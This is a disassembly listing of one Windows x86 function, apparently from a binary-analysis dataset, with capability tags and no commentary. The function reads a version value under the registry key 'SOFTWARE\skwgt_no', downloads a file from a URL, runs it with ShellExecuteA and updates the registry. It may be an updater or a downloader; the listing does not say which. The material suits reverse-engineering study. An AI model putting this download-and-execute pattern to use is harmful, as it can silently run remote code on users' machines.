Function at 0x40cb40
Capabilities:
Create process on windows
Download url
Get common file path
Query or enumerate registry value
Receive data
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x56f5cf
mov eax, dword fs:[0]
push eax
mov eax, 0x2750
call fcn.00550ea0
mov eax, dword [0x5d1e6c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x5ae2e0
lea ecx, [ebp - 0x2720]
mov dword [ebp - 4], 1
call fcn.00403860
push ecx
mov byte [ebp - 4], 2
lea eax, [ebp + 0xc]
mov ecx, esp
mov dword [ebp - 0x2734], esp
push eax
mov dword [ebp - 0x2730], ecx
call fcn.00403f30
push ecx
mov ecx, esp
mov byte [ebp - 4], 3
lea eax, [ebp + 8]
mov dword [ebp - 0x2730], ecx
push eax
call fcn.00403f30
lea eax, [ebp - 0x272c]
mov byte [ebp - 4], 2
push eax
call fcn.00407bc0
mov byte [ebp - 4], 4
or ebx, 0xffffffff
mov ecx, dword [eax]
mov esi, dword [ebp - 0x2720]
add esi, 0xfffffff0
lea edx, [ecx - 0x10]
cmp edx, esi
je 0x40cc35
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x40cc26
mov eax, dword [edx]
cmp eax, dword [esi]
jne 0x40cc26
push edx
call fcn.00403ed0
add esp, 4
mov dword [ebp - 0x2724], eax
mov ecx, ebx
lock xadd dword [edi], ecx
dec ecx
test ecx, ecx
jg 0x40cc1b
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x2724]
add eax, 0x10
mov dword [ebp - 0x2720], eax
jmp 0x40cc35
push dword [ecx - 0xc]
push ecx
lea ecx, [ebp - 0x2720]
call fcn.00403d00
mov byte [ebp - 4], 2
mov eax, ebx
mov edx, dword [ebp - 0x272c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40cc56
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x5ae2e0
push dword [ebp - 0x2720]
call fcn.0055a809
add esp, 8
test eax, eax
setne al
test al, al
je 0x40d51f
push ecx
mov ecx, esp
lea eax, [ebp - 0x2720]
push eax
mov dword [ebp - 0x2734], ecx
call fcn.00403f30
lea eax, [ebp - 0x2724]
push eax
call fcn.00407ee0
push eax
lea ecx, [ebp - 0x2720]
mov byte [ebp - 4], 5
call fcn.00403db0
mov byte [ebp - 4], 2
mov eax, ebx
mov edx, dword [ebp - 0x2724]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ccc8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x400
lea eax, [ebp - 0x71c]
push 0
push eax
call fcn.00553570
add esp, 0xc
lea eax, [ebp - 0x71c]
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x5aea80
lea eax, [ebp - 0x71c]
push 0x400
push eax
call fcn.0055a918
add esp, 0xc
mov dword [ebp - 0x2744], 0
mov dword [ebp - 0x2740], 0
mov dword [ebp - 0x273c], 0
push 0
push 0
push 0x2001f
push 0
push 0
push str.SOFTWARE_skwgt_no
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2744]
push dword [0x5d2740]
call fcn.004265c0
mov eax, dword [ebp - 0x2720]
mov esi, dword [ebp - 0x2744]
cmp dword [eax - 0xc], 0
jl 0x40d514
push 0x5aea84
push eax
call fcn.00558a23
mov edi, eax
add esp, 8
test edi, edi
je 0x40d514
sub edi, dword [ebp - 0x2720]
cmp edi, 0xffffffff
je 0x40d514
mov esi, 0x5ae2e0
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.00553570
push 0x104
lea eax, [ebp - 0x31c]
push 0
push eax
call fcn.00553570
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00553570
push 0x1000
lea eax, [ebp - 0x171c]
push 0
push eax
call fcn.00553570
push 0x1000
lea eax, [ebp - 0x271c]
push 0
push eax
call fcn.00553570
add esp, 0x3c
call fcn.00426ad5
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x40d59b
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x272c], eax
mov eax, 0x5ae2e0
mov byte [ebp - 4], 7
shr eax, 0x10
mov dword [ebp - 0x2724], eax
test eax, eax
jne 0x40ce49
movzx esi, si
push esi
call fcn.00427b89
test eax, eax
je 0x40ce5b
push esi
push eax
lea ecx, [ebp - 0x272c]
call fcn.00403730
jmp 0x40ce5b
push 0
push 0x5ae2e0
lea ecx, [ebp - 0x272c]
call fcn.00403d00
mov byte [ebp - 4], 8
call fcn.00426ad5
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x40d59b
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2728], esi
mov byte [ebp - 4], 9
cmp dword [ebp - 0x2724], 0
jne 0x40ceb9
mov eax, 0x5ae2e0
movzx eax, ax
push eax
call fcn.00427b89
test eax, eax
je 0x40ced1
mov edx, 0x5ae2e0
movzx ecx, dx
push ecx
push eax
lea ecx, [ebp - 0x2728]
call fcn.00403730
jmp 0x40cecb
push 0
push 0x5ae2e0
lea ecx, [ebp - 0x2728]
call fcn.00403d00
mov esi, dword [ebp - 0x2728]
lea eax, [edi + 2]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x2748]
push eax
lea ecx, [ebp - 0x2720]
call fcn.004251f0
mov byte [ebp - 4], 0xb
mov ecx, dword [eax]
mov edi, dword [ebp - 0x2720]
add edi, 0xfffffff0
lea edx, [ecx - 0x10]
cmp edx, edi
je 0x40cf52
cmp dword [edi + 0xc], 0
jl 0x40cf43
mov eax, dword [edx]
cmp eax, dword [edi]
jne 0x40cf43
push edx
call fcn.00403ed0
add esp, 4
mov dword [ebp - 0x2724], eax
mov ecx, ebx
lea edx, [edi + 0xc]
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40cf38
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x2724]
add eax, 0x10
mov dword [ebp - 0x2720], eax
jmp 0x40cf52
push dword [ecx - 0xc]
push ecx
lea ecx, [ebp - 0x2720]
call fcn.00403d00
mov byte [ebp - 4], 0xa
mov eax, ebx
mov edx, dword [ebp - 0x2748]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40cf73
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x2720]
cmp dword [eax - 0xc], 0
jge 0x40cf84
or ecx, 0xffffffff
jmp 0x40cf9f
push 0x5ae758
push eax
call fcn.00558a23
mov ecx, eax
add esp, 8
sub ecx, dword [ebp - 0x2720]
test eax, eax
cmove ecx, ebx
push ecx
lea eax, [ebp - 0x274c]
push eax
lea ecx, [ebp - 0x2720]
call fcn.00425100
push dword [eax]
lea eax, [ebp - 0x31c]
push 0x104
push eax
call fcn.0055a981
mov edx, dword [ebp - 0x274c]
add esp, 0xc
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40cfe5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x2720]
cmp dword [eax - 0xc], 0
jge 0x40cff6
or ecx, 0xffffffff
jmp 0x40d011
push 0x5aea88
push eax
call fcn.00558a23
mov ecx, eax
add esp, 8
sub ecx, dword [ebp - 0x2720]
test eax, eax
cmove ecx, ebx
lea eax, [ecx + 2]
push eax
lea eax, [ebp - 0x2750]
push eax
lea ecx, [ebp - 0x2720]
call fcn.004251f0
mov byte [ebp - 4], 0xc
mov ecx, dword [eax]
mov edi, dword [ebp - 0x2720]
add edi, 0xfffffff0
lea edx, [ecx - 0x10]
cmp edx, edi
je 0x40d08e
cmp dword [edi + 0xc], 0
jl 0x40d07f
mov eax, dword [edx]
cmp eax, dword [edi]
jne 0x40d07f
push edx
call fcn.00403ed0
add esp, 4
mov dword [ebp - 0x2724], eax
mov ecx, ebx
lea edx, [edi + 0xc]
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40d074
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x2724]
add eax, 0x10
mov dword [ebp - 0x2720], eax
jmp 0x40d08e
push dword [ecx - 0xc]
push ecx
lea ecx, [ebp - 0x2720]
call fcn.00403d00
mov byte [ebp - 4], 0xa
mov eax, ebx
mov edx, dword [ebp - 0x2750]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40d0af
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x2720]
cmp dword [eax - 0xc], 0
jge 0x40d0c0
or ecx, 0xffffffff
jmp 0x40d0db
push 0x5ae758
push eax
call fcn.00558a23
mov ecx, eax
add esp, 8
sub ecx, dword [ebp - 0x2720]
test eax, eax
cmove ecx, ebx
push ecx
lea eax, [ebp - 0x2754]
push eax
lea ecx, [ebp - 0x2720]
call fcn.00425100
push dword [eax]
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0055a981
mov edx, dword [ebp - 0x2754]
add esp, 0xc
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40d121
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x2720]
cmp dword [eax - 0xc], 0
jge 0x40d132
or ecx, 0xffffffff
jmp 0x40d14d
push 0x5aea8c
push eax
call fcn.00558a23
mov ecx, eax
add esp, 8
sub ecx, dword [ebp - 0x2720]
test eax, eax
cmove ecx, ebx
lea eax, [ecx + 2]
push eax
lea eax, [ebp - 0x2758]
push eax
lea ecx, [ebp - 0x2720]
call fcn.004251f0
mov byte [ebp - 4], 0xd
mov ecx, dword [eax]
mov edi, dword [ebp - 0x2720]
add edi, 0xfffffff0
lea edx, [ecx - 0x10]
cmp edx, edi
je 0x40d1ca
cmp dword [edi + 0xc], 0
jl 0x40d1bb
mov eax, dword [edx]
cmp eax, dword [edi]
jne 0x40d1bb
push edx
call fcn.00403ed0
add esp, 4
mov dword [ebp - 0x2724], eax
mov ecx, ebx
lea edx, [edi + 0xc]
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40d1b0
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x2724]
add eax, 0x10
mov dword [ebp - 0x2720], eax
jmp 0x40d1ca
push dword [ecx - 0xc]
push ecx
lea ecx, [ebp - 0x2720]
call fcn.00403d00
mov byte [ebp - 4], 0xa
mov eax, ebx
mov edx, dword [ebp - 0x2758]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40d1eb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x2720]
cmp dword [eax - 0xc], 0
jge 0x40d1fc
or ecx, 0xffffffff
jmp 0x40d217
push 0x5ae758
push eax
call fcn.00558a23
mov ecx, eax
add esp, 8
sub ecx, dword [ebp - 0x2720]
test eax, eax
cmove ecx, ebx
push ecx
lea eax, [ebp - 0x275c]
push eax
lea ecx, [ebp - 0x2720]
call fcn.00425100
push dword [eax]
lea eax, [ebp - 0x171c]
push 0x1000
push eax
call fcn.0055a981
mov edx, dword [ebp - 0x275c]
add esp, 0xc
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40d25d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x171c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d266
sub ecx, edx
lea eax, [ebp - 0x171c]
push ecx
push eax
lea ecx, [ebp - 0x272c]
call fcn.00403d00
mov edi, dword [ebp - 0x272c]
push 0x2f
push edi
call fcn.0055a75c
mov ecx, eax
add esp, 8
sub ecx, edi
test eax, eax
cmove ecx, ebx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x2730]
push eax
lea ecx, [ebp - 0x272c]
call fcn.004251f0
mov byte [ebp - 4], 0xe
lea ecx, [esi - 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x2738], eax
mov dword [ebp - 0x2724], ecx
lea edx, [eax - 0x10]
cmp edx, ecx
je 0x40d331
cmp dword [ecx + 0xc], 0
lea esi, [ecx + 0xc]
jl 0x40d31c
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x40d316
push edx
call fcn.00403ed0
add esp, 4
mov dword [ebp - 0x2738], eax
mov ecx, ebx
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x40d30b
mov esi, dword [ebp - 0x2724]
push esi
mov ecx, dword [esi]
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x2738]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2728], esi
jmp 0x40d331
mov eax, dword [ebp - 0x2738]
push dword [eax - 0xc]
lea ecx, [ebp - 0x2728]
push eax
call fcn.00403d00
mov esi, dword [ebp - 0x2728]
mov byte [ebp - 4], 0xa
mov eax, ebx
mov edx, dword [ebp - 0x2730]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40d352
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x71c]
push eax
lea eax, [ebp - 0x271c]
push 0x1000
push eax
call fcn.0055a981
push esi
lea eax, [ebp - 0x271c]
push 0x1000
push eax
call fcn.0055a918
add esp, 0x18
mov dword [ebp - 0x2728], 0x104
lea eax, [ebp - 0x2728]
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x2734]
push eax
push 0
lea eax, [ebp - 0x31c]
push eax
push dword [ebp - 0x2744]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40d3df
mov eax, dword [ebp - 0x2734]
cmp eax, 1
je 0x40d3c7
cmp eax, 2
jne 0x40d3df
movzx eax, byte [ebp - 0x114]
xor ecx, ecx
cmp dword [ebp - 0x2728], ecx
cmove eax, ecx
mov byte [ebp - 0x114], al
lea eax, [ebp - 0x218]
push eax
call fcn.0055a209
mov ebx, eax
lea eax, [ebp - 0x114]
push eax
call fcn.0055a209
add esp, 8
cmp eax, ebx
jge 0x40d483
lea eax, [ebp - 0x171c]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
lea eax, [ebp - 0x271c]
push eax
lea eax, [ebp - 0x171c]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x40d483
push 0
push 0x5ae2e0
push 0x5ae2e0
lea eax, [ebp - 0x271c]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d458
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x218]
push eax
push 1
push 0
lea eax, [ebp - 0x31c]
push eax
push dword [ebp - 0x2744]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x2720]
cmp dword [eax - 0xc], 0
jge 0x40d49e
mov dword [ebp - 0x2724], 0xffffffff
or ebx, 0xffffffff
jmp 0x40d4c4
push 0x5aea84
push eax
call fcn.00558a23
mov ecx, eax
add esp, 8
sub ecx, dword [ebp - 0x2720]
mov ebx, 0xffffffff
test eax, eax
cmove ecx, ebx
mov dword [ebp - 0x2724], ecx
mov byte [ebp - 4], 8
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x40d4df
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 6
add edi, 0xfffffff0
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x40d4fa
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x2724]
mov esi, 0x5ae2e0
cmp edi, 0xffffffff
jne 0x40cd91
mov esi, dword [ebp - 0x2744]
test esi, esi
je 0x40d51f
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 1
mov eax, ebx
mov edx, dword [ebp - 0x2720]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40d540
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, ebx
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40d55e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 0xc]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x40d57d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0055026c
mov esp, ebp
pop ebp
ret 8
push 0x80004005
call fcn.00403fd0
int3